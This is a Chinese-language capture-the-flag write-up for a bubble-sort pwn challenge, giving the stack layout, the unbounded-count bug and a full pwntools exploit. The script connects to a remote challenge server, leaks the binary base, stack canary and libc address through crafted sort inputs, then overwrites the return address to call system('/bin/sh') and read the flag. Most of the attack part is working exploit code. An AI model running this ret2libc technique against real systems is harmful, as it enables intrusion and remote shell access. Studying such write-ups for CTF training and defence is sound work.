冒泡排序。
漏洞:
对排序数字个数无限制
栈结构:
- 8个排序数字
- 16 名字
- canary
- 其它7
- libc_start_main_ret
思路:
输入 0*24,-,main*7,-,main 当canary小于main时排序结果为0*24, canary, main*8, libc_start_mian_ret。可以得到libc地址,并用main覆盖返回地址。回到main函数。
第2次输入0*24,canary*5,system*2,bin_sh排序后无变化,覆盖到返回地址
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
offset_main_ret = 0x18647
else:
p = remote('111.200.241.244', 56660)
libc_elf = ELF('/home/shi/buuctf/libc6-i386_2.23-0ubuntu10_amd64.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386', log_level='debug')
# data:8, name:16, canary, padding:7, libc_ret, X
p.sendafter(b"What your name :", b'A'*32)
p.recvuntil(b'A'*32)
pwn_base = u32(p.recv(4)) - 0x601
elf.address = pwn_base
print('pwn:', hex(pwn_base))
#0*24 -canary main*7 -libc_ret main
#0*24 canary main*8 libc_ret (canary<main)
p.sendlineafter(b' :', b'34')
for i in range(24):
p.sendlineafter(b' : ', b'0')
p.sendlineafter(b' : ', b'-')
for i in range(7):
p.sendlineafter(b' : ', str(elf.sym['main']).encode())
p.sendlineafter(b' : ', b'-')
p.sendlineafter(b' : ', str(elf.sym['main']).encode())
sleep(1)
p.recvuntil(b'0 '*24)
canary = int(p.recvuntil(b' '))
print('canary:', hex(canary))
if canary == elf.sym['main']:
raise('error')
for i in range(8):
p.recvuntil(b' ')
libc_base = int(p.recvuntil(b' ')) - offset_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))
#gdb.attach(p, f'b*{hex(pwn_base+0xb10)}')
#pause()
# data:8, name:16, canary, padding:4, libc_ret, X, bin_sh
p.sendafter(b"What your name :", b'A'*32)
p.sendlineafter(b' :', b'32')
for i in range(24):
p.sendlineafter(b' : ', b'0')
for i in range(5):
p.sendlineafter(b' : ', str(canary).encode())
p.sendlineafter(b' : ', str(libc_elf.sym['system']).encode())
p.sendlineafter(b' : ', str(libc_elf.sym['system']).encode())
p.sendlineafter(b' : ', str(next(libc_elf.search(b'/bin/sh'))).encode())
p.sendline(b'cat /flag')
p.interactive()